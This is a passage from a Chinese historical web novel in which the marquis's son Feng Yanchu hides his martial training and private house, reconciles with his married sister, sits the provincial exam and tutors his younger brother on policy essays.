谢鹤川对这个话题很感兴趣,他回过神道:“那是自然,据说封家先祖还是太宗皇帝一手提拔的呢,可以说要是没有太宗,就没有如今的武安侯府,而且二郎的姐姐还嫁到徐家,如今和信国公府乃是姻亲。”
江行舟最先反应过来,“咱们虽住在武安侯府,可承的是二郎的情,而勋贵各家相交复杂,咱们不过是一个小小举人,还是小心谨慎些。”
元康听后深以为然,“是啊,咱们与二郎是好友,将来多与他相交即可。”
谢鹤川笑道:“自然,自然。”随即伸手时,恰好一片雪花落入手掌融为水星,“下雪了,怪不得这么冷,咱们赶紧回去吧。”说罢紧了紧身上的斗篷。
嘴上应着,可心里却想着,他家虽然稍微好些,在地方也算有头有脸,原本还有些得意,可到了这偌大的京城后,才觉得渺小。
京城里那么多当官的,他不过是一个小小的举人,若不趁机扒上武安侯府,即使将来中了进士,也不过是被下放地方,那得多少年才能出头!
江行舟如何听不出谢鹤川方才话里的言不由衷。三人虽说都赴京赶考,同时落榜住进了隆安寺,一起研读探讨文章,关系看似紧密,可人心各异,每个人的追求都不同。
元康隐隐感觉到了一些,可那又能如何?武安侯府对他来说不过是一场富贵梦,过年回到隆安寺之后,迎接他的依旧是寒屋冷饭。
若他有幸中了进士,与封二郎依旧是好友;若是连续未中,也只能找人在某一县衙中,谋求一个低阶小官。除非情况特殊,恐怕这辈子晋升无望,与封二郎自然也就再无相交之日。
真不知这一趟侯府之行是好是坏,让原本一心备考的三人各怀心思。此刻,几人虽依旧同行,但是竟让人觉得他们之间似乎已经有了无形的距离。
到了客房门口,三人相互笑了笑,甚至还约好初二那日一起谈文,仿佛没有任何变化。
因为武安侯府情况的变动,封简宁身边有很多九皇子一党的官员,所以今年走亲访友之时,除了必须要去的人家,封砚初并未跟随父亲出门拜访。
所以在初四这日,他终于得出些空闲。京城中有很多店铺依旧关门,可还是有几家酒肆,瓦舍迎客,他这才约上了孙延年。
“哎呀,我年后这几日终于得闲。”孙延年一边落座,一边朝封砚初抱怨。
“年前我回来准备找你,听说你忙着。”封砚初说话的同时为他斟酒。
“唉,别提了,有几个番邦小国进京,为了展示我泱泱大晟国泰民安,所以不仅是六扇门,巡城卫,京兆府要提防宵小之辈,就连我们京西武备营也被借调了。”孙延年自进来之后,嘴就没停过,不过他也明白什么能说,什么不能说。
若是以前,他还真就没准儿悄悄透露给好友了,可现在武安侯搅和进夺嫡之中,今时不同往日,便三缄其口。
说到此处,孙延年突然靠近,脸上表情古怪,还挑着眉神秘兮兮问道:“听说广林巷那里的红梅开的很好,你可去赏过?”
封砚初瞧对方那欠兮兮的样子,暗中白了一眼,“你什么时候知道的?”
“你院试以后,咱们在恒文酒肆喝酒来着,还碰上了徐三郎闹事那日。散了以后,就在宝庆街看见你,正要上去打招呼,谁知你竟然没有回家,我可不得跟上去瞧瞧?。”
孙延年说到到这里可得意坏了,“哎呀,我可憋坏了,早就想去你那里逛一逛,只是你一直在隆安寺读书,没机会。”
第九十八章 你居然连我都瞒着
封砚初摇头笑道:“你竟然憋到现在才与我说,可真不容易。”
孙延年不认同的斜了对方一眼,“说的什么话,我的嘴可是很紧的,而且别看青山话多,但很有分寸。”
说完又环视四周,兴奋道:“这里待着也无趣,正好你今日在,咱们去你的‘枕松闲居’如何?”
其实封砚初之所以购置‘枕松闲居’,不过是嫌家里限制颇多,不自由,做事不方便,仅此而已,思及此处便点头同意了。
话说两人一起到了广林巷,可能因为过年的缘故,这里比年前倒还安静些,尤其是站在‘枕松闲居’就可以看见一里外的梅林,为这单调的寒冬增色不少。
孙延年十分眼馋,他四处望了望,“不知这里可还有空房,改日我在你这院子旁边也购得一处。”
“倒是有,不知你想要多大的?”这里还有好几处空置的宅子,只是靠近‘枕松闲居’的只有两处。
“我这附近到还有两处,一处小些,大概有个五六间房舍;一处大些,有个十七间屋舍。”封砚初指着不远处的位置介绍着。
“五六间有些小了,那便大些那个。”孙延年是那种既然想做,便立即就要干,只是想到才初四,牙房还没开门这才作罢。
到底不甘心,吩咐一旁的青山,“等牙行开门后,你到时候走一趟。”随后又赞叹此处不仅清幽,而且风景不错,只是可惜时间紧张,今日不能去梅林。
封砚初将人领进门,指着院子里唯一的一处二层阁楼道:“若想赏梅,倒也不用去梅林,坐在那儿便可俯瞰那里的景色,虽不能在近处闻香,可远观也不错,只是我冬季不常过来,恐怕有些冷。”
孙延年进门后,只见好友将此处布置的十分素雅,若是春夏之季前来会更好。他摆手道:“先不着急,你去忙吧,我且四处逛一逛。”
因为封砚初是突然到访,冯四也没有准备,所以室内还是一片冷清,孙延年也是留出时间。
果然,火炉烧起来没多久,孙延年就兴冲冲的进来,神色间还带着发现真相的激动之色,“二郎!我在那里瞧见一处药房,之前给我的药果然是你配的!”
话音刚落,又瞅见屋内的武器架,他指着上面的痕迹,震惊道:“你居然会武!”
封砚初已经将装满水的铜壶放在火炉之上,顺着对方手指的方向瞟了一眼,不甚在意道:“哦,学了一些。”与他的平静相比,孙延年十分激动。
语气也强烈了许多,“二郎!你太过分了,咱俩那么好,你居然连我都瞒着!亏我还帮你隐瞒这宅子!哼!”
封砚初抬眼瞧去,呦呵,真生气了,连忙道歉,“我不是故意瞒着你的,你也知道我父亲十分看中科举,如果让他知道可没有好果子吃,到时候别说习武,就连这个宅子都要没收,我这不是为了防止泄露嘛,再说这不是带你来了?”
孙延年心中的气消了些,但还是反驳道:“谁说是你带我来的?那是我要求要来的!”
“别生气了,你不是想要些治伤的药吗?改日我给你送些去,不收钱。”
“哼,这可是你说的?不过你练的什么?可有趁手的武器?”孙延年气已经消了,看着空荡荡的武器架问。
“我在习剑和枪,至于武器也不过是从铁匠铺打的,能用就行。”封砚初并未继续隐瞒,干脆直接说了。
“民间普通铁匠能打出什么好武器,既然你习武,改日我送你一件好的,到时候咱俩比划比划。”要不是封砚初没有趁手的好兵器,孙延年其实已经有些迫不及待想比试一场。
“会有机会的。只是我与你不同,经验不足;若哪一日休沐,你来隆安寺找我,到时候还请你指教呢。”封砚初也很期待,觉得没准经过对练,他还可以有更大的进步。
让封砚初没想到的是,他才回到隆安寺没两天,就有人送来了一杆枪和一柄剑,无论是外形工艺,还是质量都是上乘,他在空地上挥动了几下,果然十分趁手,而这东西并非孙延年送来的。
“郎君,这是两个武器实在少见,小的也只见孙郎君有,难道是他送来的?”暮山明显很喜欢,就连话也比以前多了,“那这孙郎君可真够快的。”
封砚初摇头道:“他没有这么快,这是六殿下送来的。”
“什么?”暮山犹如摸了个烫手山芋般,立即松了手,将那长枪和剑放在一旁。
“倒也不用那么紧张。”封砚初虽然不知道自己身上有什么能让对方值当的地方,但也清楚这是在私下拉拢。
无论六皇子有什么样的野心,只能隐藏。以目前来说势力太过单薄,能依靠的也只有陛下的宠爱,而在外人眼中六皇子与大皇子乃是一派。
可这宠爱是最虚无缥缈的,一旦涉及更深层次的利益或者朝堂之事,陛下肯定会放弃他的。
如今六皇子对他不过是前期的投资,如果他来日能成功科举上岸固然是好,如果不能也只当损失一些钱财罢了。
过了好一会儿,他将那两个武器都收起来,“暮山,明日将它们放到‘枕松闲居’。”
暮山看着被包起来的武器,郑重道:“是!”
当林间的山桃花再次绽放之时,孙延年带着他当初承诺的东西来到隆安寺。
第九十九章 可算是遭了报应
孙延年一路走走逛逛的来到隆安寺,他并未从寺门里进来,走的是旁门。
进来后,便将封砚初的屋子里里外外打量了一遍,随后道:“恩,是有些简朴了,不过却也值得,就我这一路走来,山桃花都开了,想必再过些日子风景会更好,不像城内现在还光秃秃的呢。”
封砚初亲自为他斟茶了,将人拉的坐下,“你快坐下喝些茶。”
“恩~茶倒还可以。”孙延年品了品,点头赞叹。
“既然是招待你,我自然要将好的拿出来,你不是带了武器来吗?拿给我看看。”对于孙延年带来的东西,封砚初还是很期待的。
孙延年冲青山挥手道:“青山,拿进来!”
当封砚初真正见到的那一刻,真是爱到不行。他最先拿到手里的是一杆约莫两米五的六棱枪,而且上身可拆卸成三部分,此枪浑身漆黑,枪头竟是嵌钢。
孙延年好不得意,“这可是只有朝廷武将或是陛下的亲卫才会配制,我是偷偷走了我家的关系帮你定制的,民间铁匠哪有这样的手艺。”说话间又指着墙角的东西道:“以后你就用这个,快将你那些破烂扔了。”
随后又从剑匣中拿出一柄剑,道:“那杆枪拆卸带着也方便,可这柄剑更是了不得,它是软剑,你可以将其隐藏在腰间。”
其实封砚初也想要一把软剑,只是很少有人能制出来。他是到了古代才了解到,天下最好的铁匠不仅十分稀少,而且绝大多数都被官府管控。
他家里虽然可以弄到,但想要避开父亲就有些难,所以这些年他也没个趁手的家伙事。
孙延年迫不及待的想要出去比划比划,他自是欣然同意,因为从上次与李延比过之后,他又有进步,所以也想试一试。
两人先是比了剑法,封砚初有了这柄软剑,他的流云剑法更显飘逸灵动,配合着烟云步,竟然与孙延年打的有来有回,有好几次要不是他收手,就伤到对方。
比起剑法,在枪法上孙延年更有优势,两人虽然使起枪来都是去如箭、来如线,出枪如潜龙出水,收枪如猛虎入洞;可枪法毕竟是孙延年自小就练,所以更多了些神出鬼没,变化莫测;这样一对比,封砚初自然就逊色一些。
收了枪之后,孙延年对好友的剑法和枪法都有些眼馋,“你这剑法当真了不得,飘逸,配合着步法更显不俗。枪法招式诡异,威力无穷,更是攻防一体,只是你应该学了没几年吧?”
“确实如此,枪法我学了也就两三年的时间。”此次枪法对决封砚初收益颇丰,他自小习剑,可长枪因没条件练的晚了些。
“我说呢,你那剑法和枪法都是极品,只是你学习时间短,枪法还是稚嫩一些。”其实孙延年暗中怀疑,好友这是得了祖上的功法,偷摸练的。
与孙家的家传功法不同,封家的功法那可是当年太祖亲传,之后又在实战中改良而成。当年封氏后人从文后,其余武将之家还专门上门讨要功法,可是封家先祖对外声称功法已经焚毁,现在看来分明是在扯谎。
这次比武,让孙延年可谓是大汗淋漓,十分痛快,不过也升起几分危机。二郎的剑法已经超出自己很多,如果继续下去,枪法的进步也是指日可待,看来回去得继续苦练枪法,万一将来被超,那岂不是没一样行的。
等孙延年带着一些活血化瘀,金疮药等等的药品离开后。暮山这才说道:“郎君,小的瞧着孙郎君送来的武器相比六皇子的,您用着更顺手,感觉就是量身定做的。”
其实不仅暮山这样感觉,封砚初亦是如此,孙延年可谓是方方面面都考虑到了。都是来送武器的,可此番一比,还是好友的东西更贴心啊。
话说,自从杨氏去了善慈庵之后,徐三郎又中风在床不得动弹,封砚敏的日子好过了不少。
只是薛氏的那一双儿女,之前一直被杨氏教养,也不知被教了些什么,这两个孩子对她敌意很大,既然没有这母子缘分,她也不想装,只是让底下人伺候着便罢了。
不过,为了不让人挑出错来,她也只将对方的乳母叫到跟前询问几句,免得别人问起来一无所知。
徐三郎因为中风之故,浑身动弹不得,每日都需要别人伺候。自从他躺下去之后,就如同活死人一般,封氏更是连面都不露,可偏偏他的意识无比清醒,每次生气只能嘴里含糊的呜咽着,眼睛瞪的老大。
若是从前兴许还会被吓着,可偏偏照顾他的下人,从前也没少受他折辱,所以照顾的并不尽心。这下人又见三娘子压根不管,越发大胆,时常偷偷辱骂,暗中掐徐三郎。
“看什么看?谁让你之前那般苛待三娘子,我就是两日不给你饭吃,人家也不会管你的。对了,你知道吗?因着你的事世子夫人也被罚去善慈庵祈福。”那下人一边絮絮叨叨,一边吃着端给徐三郎的饭菜。
“真是报应,之前薛娘子多好一个人啊,嫁给你不过三年,人就没了。现在的封娘子不仅自己性情刚烈,人家还有几个好兄弟做主呢!你是不是以前瞧着人家没个一母同胞的兄弟,那些庶出的兄弟肯定是得过且过。没想到吧,封二郎君逼得国公爷,不得不将世子夫人送去京郊的庵堂。”
“现在整个府里,没一个人会念你的好,觉得要不是你,国公府只怕会更好的。”
如今的徐三郎很后悔,但他不是在为自己败坏的品德后悔。而是觉得当初就应该在女色上收敛些,没有那样饮酒无度,也不会让一个下人欺辱。
他甚至幻想着自己好了以后,要通通将这些下人打杀发卖,要让封氏吃不了兜着走!
门外,封砚敏听了一会儿,随后问道:“此人经常这样吗?”
院子里的老妈妈有些尴尬,她没想到竟然被撞了个正着,讪讪道:“只是偶尔,奴婢这就……”
话音未尽,封砚敏就拦住了,“罢了,下人也是人,任谁长时间照顾一个瘫在床上的人也会心情郁结的,只是不许太过分。”
那老妈妈立即保证,“还请娘子放心,她很有分寸的,绝不会让三郎君有事。”
“那就好。”其实,封砚敏听了那下人的话心中竟然觉得舒坦,可算是遭了报应。
第一百章 早晚将你接回来
因为徐三郎去年中秋中风,封砚敏身为妻子也不好到处逛去,就是装也要装出一副贤妻的模样,便大门不出二门不迈。如今好容易过了年,天气渐暖,这才算真正有了自由。
杨氏又不在,她甚至连出门也没人管,索性直接回了武安侯府。
大娘子见女儿回来自然高兴,拉着她的手试探性地问,“那薛氏的孩子如今可有改变?”
封砚敏最初觉得稚子无辜,更何况徐三郎待薛氏并不好。可让她没想到的是,也不知道杨氏教了些什么,这两个孩子整日仇视自己,几次见面都不愉快,索性不管了,“许是没有母子缘分吧,我也不强求了。”
大娘子顿时松了一口气,女儿年岁还小,她也不想让女儿年纪轻轻就被一个不能动弹之人困住一辈子,“罢了,你且先熬上两年,想必到时候和离,那些长舌之人也不会说什么。”
其实在封砚敏心里,自己这辈子大概就这样了,更何况,家里如何能与信国公府彻底分开,摇头道:“母亲,女儿这辈子就这样了,再说他瘫着也挺好,起码我再也不用面对那张脸。”
大娘子拉着女儿的手心疼道:“你父亲虽然没表态,心里却已经对信国公心生龃龉,再说二郎还说早晚要将你接回来。”
一提这个,封砚敏就有些伤心,自从嫁入信国公府之后,她见二弟的次数屈指可数,除了亲自来信国公为她撑腰之外,也就是过年她回娘家,只见了这两次。
毕竟夫妻多年,大娘子也从封简宁那里瞧出一二,便私下里说了,好安女儿的心,“我看你父亲的意思,是不想让二郎将来绑在信国公的那条船上,二郎也是这个意思。”
封砚敏一边思索着,一边道:“父亲并不看好九皇子吗?”
大娘子低声道:“九皇子虽然是中宫嫡子,可太过年幼,而陛下年岁不小,这两年边关也偶有冲突,到时候天子年幼,于国未必是好事。”
历数本朝,除了太宗活得长些之外,其余皇帝都不是高寿之人。太祖高皇帝未及五十驾崩;若非太宗晚年禅位,只怕文宗都活不到继位;之后的皇帝也鲜少有活过六十的,不怪众人这般想。
封砚敏立即意识到什么,震惊道:“是啊,陛下年逾六十,主少国疑,必定需要辅政大臣,难道信国公有心做权臣?可九皇子上面还有年长的皇兄,且在朝中经营多年。”
其实大娘子心里也暗暗埋怨当今陛下,先太子早逝,那也不能就此在太子之位上犹豫。这一犹豫就导致朝中支持大皇子的,极力推荐立长;支持九皇子的说立嫡;支持五皇子的说立贤;这可苦了底下的大臣。
各皇子争权夺位,为增加自己的势力都在拉拢朝中大臣。那些不想站队且有权势的还好一些。恰恰苦了武安侯这种,既不想站队,又没有权势的。就是因此,封简宁为了避免被人当做垫背,只能选边站。
“这可说不好,若是成功倒也罢了,若失败……唉!”说到最后,大娘子深深叹了一声。
封砚敏毕竟在信国公府生活了大半年,对于信国公的性格还是有几分了解的,最是无情且自私利己之人,尤其是武安侯府上次得罪过他,即使将来成功后未必会兑现。只是这话说出来,也不过是多一个人烦忧罢了。
她此刻有些担心二弟,要说信国公最恼怒谁,那肯定是他,也不知二弟知不知道?思及此处,再也坐不住了,二弟多次相助,她必须去给他提个醒。
“母亲,午饭我就不在家里用了,正好我好长时间没见二郎了,去隆安寺看看他。”
大娘子不明白女儿的思绪为何跳得那么快,“这么着急吗?不如给信国公府说一声,你在家里住一晚,明日再去。”
封砚敏略作思索,看时间也不早了,正好明日去的时候带些东西,“也好,眼看天已经暖起来了,给他带些衣裳,我还有几方好墨也用不着,不如一同送去。”然后又列了清单,让碧玉回去取东西,顺带给管家的刘氏说一声。
次日,封砚初正在读书之时,就听见有人喊他,竟然有些像姐姐的声音,抬头看去,可不正是姐姐站在门口喊他,“二郎。”
“姐姐?你怎么来了?快进来坐。”他将手里的书放在一旁,赶紧起身相迎。
这是封砚敏第一次来,当她看着屋内的陈设,不禁眼中含泪,“你就住在这种地方?”在她心里,这里十分简陋,哪是堂堂侯府公子所住之处。
“姐姐,我在这里住的挺好的,更何况与旁人相比,已经很了不得了。”然后又朝外道:“暮山,沏茶!”
封砚敏拦住道:“你不用忙,这次来是给你带了些东西,暮山正帮忙呢,我来沏。”
“此处僻静,姐姐怎么想着来了?有事让下人来即可。”封砚初接过清茶浅饮。
封砚敏一直等到东西都搬完,所有人都出去之后,这才将心中的担忧与猜测说了。
“二郎,如今的情形,咱们家岂不是很险?”
封砚初抬头看向窗外已经冒出绿芽的枝头,还有那屋檐下,正在忙着筑巢的燕子,一切看起来是那样的宁静美好。
“外人只艳羡侯府富贵,可其中的艰辛又怎能知道!姐姐,我只后悔以前想的太简单,没能早些努力。觉得只要不惹旁人,以咱家的情况,我做个富贵闲人即可。可父亲不得不随波逐流,大哥为了侯府的将来也是急在心里。”
“鸡蛋不能放进一个篮子,我的路注定与父亲不同。所以,姐姐,我会努力的,请你不要责怪父亲,我一定会将你救出来的。”其实这也是封砚初为什么没有主动去见姐姐的原因之一,此刻的他只觉得羞愧,羞愧于请求姐姐谅解,父亲用她的婚事做交换。
封砚敏轻轻摇头,她握着二弟的手,认真道:“我以前确实心有怨气,可自从嫁进徐家,我才理解父亲的难处。丁忧之后,就连外祖父都离咱家远远的,只有信国公愿意帮忙,我明白父亲的无可奈何,我不怪他。二郎,我生在武安侯府,是侯府养育了我,让我这么多年养尊处优,无忧无虑的长大,所以我不怪父亲。”
第一百零一章 居然瞒着我
“对不起,姐姐。”封砚初觉得自己很卑劣,就像是那些享受着,用姐姐的苦难换来的好处,还让对方体谅。
“二郎,这怎能怪你,你已经做的很好了。”封砚敏的声音还是那样温柔,只是过往的经历早已让她失去了少女时的明艳,“要不是你,我只怕没有现在的自由。”
“谢谢你,姐姐。”这次姐姐的到访是有些好处的,起码两人之间的一番彻谈,让笼罩在他心底的阴霾散了许多。
“你是我弟弟,哪里要谢。”封砚敏心情好了许多,她这才认真打量起房间,直到在角落里看见一个陌生的东西,一个不应该出现在这个房间的东西。
因为来的太突然,封砚初没来得及收起来,那些搬东西的下人如何敢在他的房间里乱看。而他只能眼睁睁看着姐姐越走越近,然后抚摸着那冰凉的枪尖,转头问道:“这是什么?我怎么瞧着有些像是枪?”
封砚初尴尬的抿嘴笑了笑,上前将长枪拼起来,“这确实是一杆长枪!”
“你在偷偷习武?”封砚敏神情严肃。
“是。”他犹如一个犯错的孩子低着头。
“什么时候开始的?”
“在我七岁就开始习剑法,枪法是这两年才开始练的。”
封砚敏疑心是孙延年教的弟弟,因为这俩人关系最好,她皱眉突然想到什么,“那些药是哪来的?不会是你自己制的?”
“嗯。”
她现在才觉得没有提前告知二郎,突然前来是对的,否则也不会有这么大的发现,看着一向亲近的弟弟,她突然觉得有些陌生。怪不得父亲一直怀疑他没有用功读书,只是一直苦于找不到证据。
同时又很佩服他兼顾那么多,千言万语最终变成了,“那你可真够忙的,怪不得父亲一直疑心你没有认真读书,曾经还让母亲暗中查看。”
“姐姐,那你可千万别让家里知道。”封砚初不想中断自己目前的进度,也不想受家里干扰。
“我可以给你保密,只是你还有什么瞒着我?”封砚敏双眼紧盯着弟弟。
“我攒钱在广林巷买了一处宅子,大概十来间屋舍,很多东西都在那儿藏着,除此之外在无隐瞒!”封砚初赶紧保证。
“你藏的可真够严实的!”紧接着是一连串的发问,“什么时候买的?具体在哪里?你一个男孩子哪里懂得布置,改日我去瞧瞧。”
封砚初十分狗腿的捧着一盏茶奉给姐姐,“在我十岁的时候买的,名字叫‘枕松闲居’,当时几乎将我攒了好几年的钱全花光了,然后陆陆续续的修葺、布置,又是好几年。”
封砚敏却抓住了别的信息,“十岁?我记得当年你非要自己保管月钱和压岁钱,岂不是说那时候就有打算?封砚初!你真够可以的,我可是你亲姐姐,居然瞒着我!你什么事我往外说过?”
“姐姐,这你可冤枉我了,当时只是想让自己手里宽松些,后来渐渐的才有了买宅子的想法。”
封砚敏怎么可能真的生气,哼了一声,随后瞥了一眼弟弟,“这些得不少吧?罢了,看在你是我弟弟的份上,改日我给你拿些钱。”
“不用了,我还有钱。”封砚初除了六皇子之前给的两千两之外,还有家里给的钱还剩下三百多两,所以当姐姐提出给钱时,就拒绝了。
“哼,还不想要。我说么,怎么没见常跟在你身边的那个冯四,感情是给你看宅子去了。”封砚敏以为弟弟不好意思,决定下次去那个‘枕松闲居’时偷偷带去。
她想看一看弟弟练的怎么样,“既然你会武功,那便演练一番,也让我一饱眼福。”
外面那么多下人,封砚初怎么可能明晃晃的演练,安抚道:“我知道姐姐自然会帮我隐瞒,只是你这次带了那么多下人,难免有一两个嘴不紧的,意外透露给信国公府或者咱家里人知道,岂不糟糕?这样吧,下次我单独给你演练一番如何?”
封砚敏经这么一说,也深以为然,觉得自己有些考虑不周。这次出门虽然大部分带的都是自己陪嫁的下人,可赶车的确是信国公府的。
“好,那下次再给我演练。”她心里却想着下次出门只带碧玉,到时候租一个轿子,再去‘枕松闲居’。
送走了姐姐之后,封砚初重新投入书中。
院子里来人怎么可能瞒得过江,元,谢三人。江行舟觉得是女眷,他一个大男人怎好直勾勾的去看,转身回了屋子读书。而元康自从年后从武安侯府回来后,除了探讨文章,就很少出屋,这次自然也一样。
谢鹤川虽然也进了屋,但却时时留意着,同时在心里暗暗猜测来的到底是谁。武安侯府其他人都见过,从那个排场就可以看出来的人非富即贵,还送来一些东西,这么一排除,便猜到来人必定是他没见过的人,武安侯府的嫡长女!
只是让他没想到的是,侯府嫡长女竟然与庶出的弟弟之间感情那么好,毕竟他一母同胞的姐姐便与家中庶子的关系,连寻常都说不上。
自从回到隆安寺之后,他对封砚初比之前殷勤了许多,又不会引起不适,而封砚初对他依旧一如往常,对比江行舟和元康并无不同,这难免让他在心里暗暗思索着哪里出了问题。
想到这里不禁感叹:唉,真是难啊,这封二郎既不缺金,又不缺银,更何况就他这点东西,人家才看不上。而他手头不仅没有上好的策论文章,还沾了不少封二郎的光。
第一百零二章 你还是安分些
回去之后,封砚敏果然什么也没说,而去‘枕松闲居’的这件事,便被一直耽搁到乡试结束后才有机会。
比起院试,乡试的检查更加严格。对于封砚初来说并没有影响,比起家人的紧张,他更加自若,起码就封砚开来说,他只感觉担子更加沉重,就连封简宁都特意告了一日的假。
不凑巧的是,原本前一日还是晴空万里,可在乡试的清晨,只见绵绵不绝的秋雨滴答滴答,给许多人的出行造成不便。
贡院门口,众人持伞排队等待,不远处正在检查的官员们骂骂咧咧的,仔细一听。
“今日乡试,怎的碰上这个鬼天气。”
“也不知钦天监是怎么算的日子!若是打湿了考卷可怎么办?”
“你急什么,又不是你来考。”
封砚开抬头看了看丝毫没有要停的阴雨,转头对封砚初叮嘱道:“二郎,此次乡试可要小心些,如果考卷真的不慎被打湿,那今年就白来了,若下次再考就得三年后了。”
“大哥,我会小心的。”比起旁人,索幸封砚初还算小心,考卷并无污损。而在此期间,他时常听见有人痛哭,起码对面之人就是。
说来也怪,考完的最后一天,天终放晴。等兄弟二人出了贡院后,就看到父亲封简宁亲自来接。
见到二人之后,连忙问道:“这几日一直下雨,你们的考卷没有污损吧?”
两人均摇头道:“没有。”
封简宁这才放心下来,“没有就好,我方才听说有不少人污损了考卷,这种情况,即使你写的再好也是无用。”
封砚开却关注到另一点,“我瞧着有很多人生病了。”
其实也不怪封简宁担心,虽然之前也碰到过这种情况,贡院亦有准备,但毕竟比不得往日,不怕一万,就怕万一。
封砚初回去后,洗漱一番正要歇着,就听门外传来三郎封砚池与四郎封砚安的声音。
“要我说,你有什么话想问二哥,自己来就好,他又不吃人。”这明显是三郎的声音。
“你们怎么来了?”封砚初疑惑道。
四郎封砚安拱手行了一礼,这才道:“二哥,我想看看你之前院试的文章。”
竟是此事,封砚初当时回来之后,并未默下来,“你既然要科考,怎么之前不问我要?不过你且等一等,我明日给你。”
三郎见四郎愈发局促,笑嘻嘻道:“二哥,你还不知道他。大哥一次就通过府试、院试;你虽然院试考了两次,但却是案首;他还不是觉得今年没把握,想着明年试一试。”
封砚初实在不理解,四郎怎的这般胆小,这又不是什么大事,竟然拖着三郎一起来。只是眼见如此,训斥的话也就不好开口,“这几日我还要在家里待一阵,既如此,从明日起,就来与我一起读书。”
四郎没想到是这个结果,赶紧道谢,“多谢二哥,那您先歇着,我明日再来。”
三郎则是挥挥手,“你且先回去,我与二哥闲谈几句。”
“二哥,自从你去了隆安寺之后,甚少回家,就连我也见不到你。之前我想去看你,被我姨娘骂了一顿,说什么我不爱读书就不要影响你。”
封砚初有些哭笑不得,其实他都能想象得到是什么原因,“莫不是你要带什么话本子,叶子牌吧?”
三郎瞪大双眼,不可置信道:“谁告诉你的?我这不是担心你太枯燥,乏了解解闷也是好的。”
“果然,上次大哥还说你了呢,怎的还不改?”
“早改了,自从我姨娘说完之后我就明白了。只是现在家里头,大哥,你,还有四弟都在读书,只有我闲着,再说我也不爱读书,前两日给父亲说,让我别去学塾了,没想到被骂了一顿。”封砚池垂头丧气道:“要不,二哥,你帮我求一求父亲?”
封砚初这才明白过来,就说么,他明知道自己回来要歇一会儿,怎么四弟都走了,他还留着,感情在这等着自己呢,“哼,你想得美,在你成婚之前,甭想从学塾里退学!”
封砚池吞了吞唾沫,有些不可置信,“你……你怎么说的话,与父亲一模一样!”
其实封砚初心里清楚父亲的意思,虽然在学业上放弃了三弟,但毕竟对方年纪不大,与其在外头晃悠惹出什么祸端,还不如继续留在学塾里读书呢,成婚后自然有娘子管着。
“二哥~”
“求我没用!今时不同往日,你还是安分些!”封砚初用命令式的语气警告着。
“那算了,二哥你歇着吧,我回了。”
等封砚池回去之后,就看见姨娘正在屋里嗑着瓜子等他,开口便道:“被拒绝了吧?”
他趴在桌子上,有气无力道:“还真被您说着了,二哥说的话几乎和父亲一模一样,虽然没骂我,但最后却警告我安分守己。”
张姨娘在后院消息不灵,可从侯爷来后院休息的次数,也可以探查到对方很忙,不仅忙,还很重视世子和二郎的学业,“你就听你二哥的,安安分分的去读书,等来日成婚就可以不用去了。”
封砚池十分痛苦,“啊!那还得多久啊!我是半刻都待不下去了!”
张姨娘听了这话,一个锐利的眼神甩过去,“你休要逃学,否则看我不告诉大娘子,到时候有你好果子吃!”
“姨娘,你还是不是我亲姨娘!”被戳穿的封砚池有些急躁。
“哼,若非你是我亲生的,我才懒得管呢!”说完这话,张姨娘扔下瓜子皮回了自己的住处。
第一百零三章 可见是下了苦功的
封砚初在家陪着封砚安读了两日书,别管他感受如何,可把四郎憋的够呛。
以前还没觉得,现在四郎感觉自己在二哥旁边读书,就犹如坐在父亲跟前一般,大气不敢多喘,写完一篇策论拿过去,紧张道:“二哥,我写完了。”
封砚初拿过去一瞧,句子辞藻倒没什么问题,只是写的有些空泛,于是指着一处说道:“此题问的是安民,虽说你写着君王为政以德,知人善任;臣子当尽忠职守,刚正不阿,以道事君,也不错,但仅仅如此却不行。”
“所谓安民,民为邦本,本固邦宁才是根本。若想安民,仅有仁政是不够的。还要经济安民,厚生利民,使民以时;政治安民,省刑约法,吏治清明;社会安民,赈灾济困,教化风俗;更要巩固边防,保境安民,使得外族不敢有丝毫侵犯。你要知道,既然是安民,自然民为重。”
封砚初拍着对方的肩膀语重心长道:“四弟,你要明白一点,上面固然重要,可这一切的根基是万众百姓,所以不要想着只朝上看,要留出一只眼睛看一看底下的百姓。”在他心里,四郎生长在侯府,从未经历过见识过外面的世界,所以便有些想当然了。
封砚安只觉这话如雷贯耳,他只想着君王如何做,官员如何执行,这一切与百姓并无太大的干系。
封砚初拿起手边的镇纸,问道:“四郎,你知道我手上的这个镇纸价值几何?”
四郎接过去细细看了看,嗯,反正他就没有这么好的,不过嘴上却道:“约莫六十多两吧?”
他继续问道:“那你知道这六十多两够一家五口生活多长时间?”
“应该……应该够用大半年了吧?”四郎有些不确定。
他从四郎手上拿回镇纸,重新放到桌子上,“若是在京城,那么够一家五口三年多的用度,若是地方上,虽然物价有些起伏,但也够五年左右的用度,而且生活的还不错。”
“什么?”
“就拿京中物价来说,虽然会有起伏,但基本上也差不多,就比如现在的一斗米应该二百文、小麦二百二十五文、猪肉瘦的一斤二十文,肥的二十五文、百姓长穿的粗布一匹约三百文,这才是普通百姓日常所需之物。而且每到秋收之际,粮价还要再降一点。”
“这么便宜吗?”
“四郎,你如今要做的不是每日在房间里死读书,而是出去看看普通百姓的生活,这样你写出来的文章,才不会空有其表。”
话音刚落,就听见一阵掌声,“说得好!”
原来是封简宁回来了,他本来是想问一问次子此次乡试写的策论内容,没想到听到这一段。
“父亲。”兄弟二人连忙行礼。
“哈哈哈,二郎,如今看来你虽在外读书,可是对百姓之事却了解更深一些。”封简宁直接忽视了四郎,夸赞起次子。
随后拿起四郎的策论大致扫了几眼,嫌弃的将其扔在桌子上,“真是浪费笔墨,文章倒是写的花团锦簇,可内里却十分空洞。”四郎听了这段批评,头更低了。
封砚初见状连忙打圆场,“父亲,四弟自小长在侯府,就是外出那也是去学塾,最是听话,他只是见的少了一些罢了,而且我瞧了他的诗赋与其他方面都不错,可见是下了苦功的。”
封简宁到没有继续责备,只说道:“罢了,你二哥说的也不错,可以去外头逛一逛,看看外头百姓是如何生活的,不要整日待在家里,你先回去吧,我与你二哥说几句话。”只是不知这段话,要是被三郎封砚池知道了该有多羡慕。
“是,儿子先回了。”封砚安顿时松了一口气,连忙行礼告辞。
封砚初一边请父亲坐下,一边为其斟茶,“父亲何须那般严厉,四弟本来胆子就不大,好好同他说便是。”
“试问家里也不曾亏待他,怎的这般胆小?”封简宁摇了摇头,端起茶杯浅饮一口,“算了,我是不指望他。”
就在父亲的注视之下,封砚初将贡院里所写的策论默了出来,吹干后递了过去。
